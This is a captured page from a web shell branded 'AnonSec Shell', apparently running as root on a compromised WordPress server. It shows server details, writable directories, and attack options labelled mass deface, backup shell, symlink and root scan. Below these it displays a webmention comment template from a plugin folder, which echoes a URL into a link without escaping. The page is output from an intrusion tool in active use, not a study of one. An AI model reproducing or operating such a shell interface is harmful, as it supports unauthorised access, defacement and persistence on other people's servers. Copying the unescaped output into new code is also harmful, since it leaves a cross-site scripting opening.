AnonSec Shell
Server IP : 172.67.157.199  /  Your IP : 18.221.107.62   [ Reverse IP ]
Web Server : Apache
System : Linux b70eb322-3aee-0c53-7c82-0db91281f2c6.secureserver.net 6.1.90-1.el9.elrepo.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 2 12:09:22 EDT 2024 x86_64
User : root ( 0)
PHP Version : 8.0.30.2
Disable Function : NONE
Domains : 0 Domains
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/wp-content/plugins/weglot/templates/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/wp-content/plugins/weglot/templates/webmention-comment.php
<?php
global $wp_query, $post;
$comment_id = esc_attr( $wp_query->query['replytocom'] );
$comment    = get_comment( $comment_id ); // phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited

// load 404 if replytocom is not valid
if ( ! $comment ) {
	status_header( 404 );
	nocache_headers();
	// check if theme has a 404.php template
	$template_404 = get_query_template( 404 );
	// return 404 template
	if ( $template_404 ) {
		include $template_404;
		die();
	} else {
		wp_die(
			__( 'Page not found', 'webmention' ),
			__( '404', 'webmention' )
		);
	}
}

$target = '';

if ( $comment->comment_author_url ) {
	$target = $comment->comment_author_url;
}

// check parent comment
if ( $comment->comment_parent ) {
	// get parent comment...
	$parent = get_comment( $comment->comment_parent );
	// ...and gernerate target url
	if ( $parent->comment_author_url ) {
		$target = $parent->comment_author_url;
	}
}
?><!DOCTYPE html>
<html <?php language_attributes(); ?>>
	<head>
		<meta charset="<?php bloginfo( 'charset' ); ?>" />
		<?php wp_head(); ?>

		<script type="text/javascript">
			<!--
			// redirect to comment-page and scroll to comment
			window.location = "<?php echo get_permalink( $comment->comment_post_ID ) . '#comment-' . $comment->comment_ID; ?>";
			//–>
		</script>
	</head>

	<body <?php body_class( 'h-entry' ); ?>>
		<div id="page">
			<?php do_action( 'before' ); ?>

			<article id="comment-<?php comment_ID(); ?>">
				<div class="e-content p-summary p-name"><?php comment_text(); ?></div>
				<footer class="entry-meta">
					<address class="p-author h-card">
						<?php echo get_avatar( $comment, 50 ); ?>
						<?php printf( '<cite class="p-name">%s</cite>', get_comment_author_link() ); ?>
					</address><!-- .comment-author .vcard -->
					<a href="<?php echo esc_url( get_comment_link( $comment->comment_ID ) ); ?>"><time datetime="<?php comment_time( 'c' ); ?>" class="dt-published dt-updated published updated">
						<?php
						/* translators: 1: date, 2: time */
						printf( esc_html__( '%1$s at %2$s', 'webmention' ), get_comment_date(), get_comment_time() ); ?>
					</time></a>
					<ul>
					<?php if ( $target ) { ?>
						<li><a href="<?php echo $target; ?>" rel="in-reply-to" class="u-in-reply-to u-reply-of"><?php echo $target; ?></a></li>
					<?php } ?>
					</ul>
				</footer>
			</article>
		</div>
	</body>
</html>

Anon7 - 2022
AnonSec Team